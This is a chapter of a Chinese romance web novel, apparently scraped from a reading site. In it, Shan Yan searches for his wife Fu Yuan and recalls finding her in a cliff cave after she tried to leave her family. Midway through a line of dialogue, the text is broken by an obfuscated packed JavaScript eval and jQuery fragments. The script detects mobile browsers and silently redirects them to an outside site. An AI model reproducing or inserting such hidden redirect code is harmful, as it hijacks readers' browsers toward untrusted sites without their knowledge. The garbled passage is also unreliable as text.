默认冷灰
24号文字
方正启体

34. 第 34 章

作者:汪汪饲养员本书字数:K更新时间:
    单阎放值,原想着用膳,却没寻到付媛的身影,这才疑惑地问:“夫人呢?”


    单老夫人就连眼也没抬,如常地夹了几箸青菜,慢条斯理地送入口中。


    见她没有要回答的意思,单阎抬眸睨向站在一旁伺候的凝珠。


    凝珠感受到那阵凛冽如冰刃的眼神时,瞬间打了个寒颤,哆哆嗦嗦地应:“少,少夫人身子不适,说今晚不用膳,在房里歇息呢...”


    几乎是没等凝珠把话说完,单阎便径直入了廊庑,迫不及待地快步穿越长廊。


    “夫人?”单阎推开门,目光一瞬便定在了床褥上。


    然而床榻上空空如也,就连人影也没有。


    原本躁动不安的心一瞬停滞,仿佛忘记了呼吸,心脏一下垂落到不知何处深渊,再起不能。


    她走了?


    单阎之所以有这样的猜想,完全有迹可循。


    从前他与付媛在后山上游玩,筋疲力尽后,两人在林间小屋歇息。


    单阎从袖中取出了方才在溪边捡到的小石子,个个小巧又形态各异。因其长期被溪水冲刷,磨平了棱角,所以指腹触在石子上便能感觉到一丝冰凉与温润。


    他将石子一并摊在桌上,央着付媛坐下看他。


    付媛拗不过他,只好双手抱臂支在桌上,无可奈何地盯着他。


    单阎将手中攥着的石子抛起,随即抓起另一颗石子,待被抛到半空的石子稳稳落在手背,又再次抛起,将两颗石子一同攥入掌中。


    这把戏他曾见旁人玩过,当时便觉着稀奇,方才在溪边捡到石子时便想要琢磨着在付媛面前表现一番。起初他连让石子稳稳落在手背上也做不到,只是几次尝试后,便成功了。


    再往复几次,他便熟练起来,这才壮着胆子在付媛面前表演。


    看着付媛原本无神的眼中渐渐映出微光,丹唇微启,单阎的心才安定下来。


    “哇...”付媛几乎抑不住口中的赞叹,只是看到单阎挂在嘴边的笑,又突然垮下脸。


    她说不出那些请教单阎的话,仿佛有甚么事是自己不晓便是输给了单阎一般,便自顾自地攥了石子,学着单阎刚才的样子把弄。


    她学的很快,第一次石子便能稳稳落在她手背,只是再次抛起时稍使了劲,才没能再次拾起。


    第二次便能做到与单阎一般,以至于单阎看得一时呆愣,不知反应。


    第三次,她甚至无师自通地将两颗石子一同抛起,又趁着这时迅速地攥多一颗石子在掌心。空中的石子稳稳落在她光洁如玉的手背上,再次翻飞后,又没入掌心,游刃有余。


    “这小把戏也不过如此。”她哼声,攥着手中的石子恣意地看着单阎,摇头晃脑的,步摇也被她带得不住摇曳。


    单阎一向知道她学习的速度很快,只是这一次依旧被她惊艳到了。


    她好像无时不刻都溢着那份光彩,令人无法忽视。


    “我想吃桃花酥。”付媛的眉头挑了挑,嘴含笑意地盯着单阎。


    “在下这就去取。”没等单阎反应,一旁的丁维便欠着身告退。


    “不行,”她的目光一直停留在单阎身上,“我就要你。”


    “我?”单阎失笑,像是在笑她的无理取闹,却又说不出拒绝的话语来,直到自己发觉时,身子已经转侧了一半。


    “当然,”付媛点点头,“权当你轻敌的惩罚咯。”


    单阎颔首,心里没有一点愤懑,只是暗暗发誓自己下次定要给她带去更新鲜的把式,“那你在这等我,我很快回来。”


    然而等到他拎着食盒上山,大汗淋漓回到小屋,却没见到付媛的踪影。


    整个林间小屋空荡荡的,连呼吸的回声都显得格外沉重。


    他惊得握不住食盒,手一瞬的发软,那些做好的桃花酥便都落在了地上,和入了灰泥。


    他胸口一闷,心中便更是诧异。明明没有水,为何自己如溺水般窒息,呼出的每一口气都像被混了砂砾,旋即沉入了深海。


    后山说大不大,说小不小,他要去何处寻她呢?


    两主仆入夜未归,只为寻付媛一人。两家大人也发现了端倪,遍山去寻,一时间整座山头皆是单付二家的灯火,如燎原般弥漫。


    单阎站在一座小山丘上,俯身看着脚下的扬州,炊烟袅袅。烟囱窜出的烟缕直入云霄,没入星辰。


    只是很不凑巧,种在这处的树相当高大,枝叶几乎将星空掩了大半。单阎本能地向外探去,却险些摔落。所幸丁维的目光一直追随他,不敢有半分懈怠,这才将他拽了回来。


    单阎看着脚下掉落的石子,却恍然听见了回声。他蹙了蹙眉,又再次迈出了脚步。


    “少爷!”丁维攥着单阎衣袖的手更紧,害怕他当真要做出什么傻事来。


    “我没事,火把给我。”他冷静地朝丁维伸手,语气令人不敢生出疑心。


    单阎接过丁维手中的火把,蹲下身向下探去,果然见着了一处岩石伸出的小平台。


    “我想我知道付媛在哪了,你去叫人来吧。”他说完便纵身跳下,火光在悬空中划出了一片花色,像划破了天际挣出生机的流星。


    付媛抱膝坐在山岩里形成的洞穴中,看见单阎那飒爽英姿,她喜忧参半,“你怎么找到我的?”


    单阎怔了怔,先是蹲下身抱紧了她,擦了擦眼角溢出的一滴泪,才叹着气起身,仰起脑袋,看向那片星槎海,“是星星带我来的。”


    付媛顺着单阎的身姿,望向那片如入仙境的汪洋,扯扯嘴角,目光转瞬便落在了单阎身上。


    比星星更闪耀的,是单阎。


    “疼吗?”他早就看到了付媛脚踝的伤,她的裙角也被撕扯破开,布碎紧紧捆住了脚踝。


    他没急着回过身,是想给付媛整理的时间,毕竟男女大防,他那样盯着女孩子的脚看的确不合礼数。


    “...不疼。”付媛咬牙。


    “所以,你为什么要支开我?”单阎猝不及防的回眸,竟让她刹那忘了心跳,胸口愈发紧绷。


    付媛双眸一瞬地张大,一副被看穿的模样,却又尽力地想要掩饰,别过了视线,“...没有,自作多情。”


    单阎发觉,自己站着的时候看付媛,好像距离那颗心格外的远。他扯扯嘴角,又坐到她身旁,支着一边腿,手搭在膝上,“说吧,你瞒不过我的。”


    她看着一旁的少年,深邃的眼眸像是下定了某种决心,眉宇舒展,并没有半分焦急的模样。


    他只是在等。


    他笃定了她会说。


    事实也的确如此,只是不知过了多久,她才张了张嘴,“我想离开付家。”


    单阎听到这个答案的那一刻,浑身僵硬而冰冷,就连握着火把的指尖都察觉不到温热。他知道她在付家受了多少委屈,也从未想过有离开这条路。


    毕竟他从来都选择逆来顺受,那些离经叛道的主意从未进入过他的选择里。


    他眼里像蒙上一层浓雾,就连看向付媛的眼神里都多带了一丝敬意。


    只是很快,搭在他膝上的手便紧了紧。


    她这样相信他,而他却亲手葬送了她的梦。


    何等残忍。


    他好像再也听不下去付媛口中的希冀,好像那些都成了她遥不可及的梦。


    而亲手砸碎那场梦的人,是他。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442322|166011||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ...对不起。”他艰难地从喉中挤出几个字,却再也不敢抬眼看她的表情。


    她是惊讶,是失望,还是愤怒?


    他不知道。


    只知道后来他看着私藏在厢房的断尾纸鸢出神,他好像突然明白那日在原野上,付媛到底在想些什么了。


    他用剪子将捆在双翅的细线剪去,又用糨糊粘合了那只纸鸢,最后又用画笔小心翼翼地修补那些破损。


    好像这样,他就能贴近那颗心多一点。


    “夫君?”单阎的回忆被那声熟悉的夫君拉回现实,像从前那样,找到她的一瞬间他便拥上前去。


    他抱着怀里的付媛,抚摸她脑袋的手不住颤抖,搂在肩上的手便更加紧了,好像害怕她是只是一个捉不住的幻梦似的。直到怀中的夫人轻嗔了句疼,他才噙着泪眼望她,“为夫还以为,你要离开单府。”


    他害怕,害怕对付媛来说这个家是囚笼。


    他并不想让她做他的笼中雀。


    付媛看着他难得沁出的泪,卸下那副坚强的伪装,亦为之动容,伸手让指腹的温热代替那股热泪,“你真傻。”她苦笑,又牵起那只搂在她腰间的手,“我为什么要离开单府?”


    “你还记得,你堕下山崖的那个星夜吗?”他扯了扯嘴角,眼泪却依旧不甘地滴落在那双他牵了无数次的手上。


    付媛怔住,原先祥和的眼神有一瞬变得锐利,她不该忘记那个夜晚的。


    那是她最后一次,有机会离开付家。


    后来一次又一次的鞭笞,身上的伤痕愈合又再次溃烂,她便变得麻木,不敢再梦了。


    她恨过单阎与他们的同流合污,可是后来,那股恨却随着梦境的幻灭逐渐飘远,迷失在某天哭湿的暖枕。


    “不记得了。”她轻咬嘴唇,不愿再旧事重提,只是挣开了男人的怀抱,吁叹后掩上了房门,“有件事我不知当不当提。”


    见她嗫嚅,单阎满腹狐疑,却依旧开怀地从背后抱紧她,“我们之间还有什么事是不能说的?”


    付媛鼻息一顿,双手覆在那双搂在她腰间的大手上,“关于单老夫人的。”


    男人依旧埋在她的肩窝,一动不动地吮吸着她身上的气息,仿佛这样才能确认,如今的她的的确确是他的妻子。他只上下滚动了喉结,半阖着眼,鼻尖再次蹭了蹭她脖颈,“嗯。”


    ...


    夜半,单府的一众奴仆都被厢房的争吵声吸引,凝珠与金枝也不例外。


    众人听着里头争吵中夹杂的异响,依稀能辨认出是些花瓶,铜镜一类的破碎声。


    “夫人你听为夫解释...”


    “好啊,你倒是给我解释解释,那熏香究竟是个怎么一回事!”


    丫鬟与小厮窃窃私语,心里既好奇又怕让主人家听见了挨责罚。直到凝珠开声驱赶,聚集在院子里的奴仆才四散开。


    人群散却,连金枝也被她换个法子打发走,这才敢上前贴着门听。


    “夫人若是这样不信为夫,为夫也只好另娶旁人了!”


    听到这一声,凝珠便是欣喜万分,迫不及待地要去向单老夫人邀功。


    “他当真是这么说的?”单老夫人喜出望外,摘耳饰的手也因激动撕扯了耳洞,划出一道血痕。痛意与湿漉漉的血流沿着耳廓滴落,她才惶恐地察觉到那抹鲜红,倒吸一口凉气发出嘶声。


    凝珠见状迅速从怀中取了帕子,小心翼翼地替她擦拭,又要来了药,仔细涂抹后才将憋了许久的话吐出。


    “千真万确,此事是奴婢亲耳听见的,错不了!”


    “好,好,”单老夫人看着铜镜中的自己,笑意吟吟,“这孩子想通了就好。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)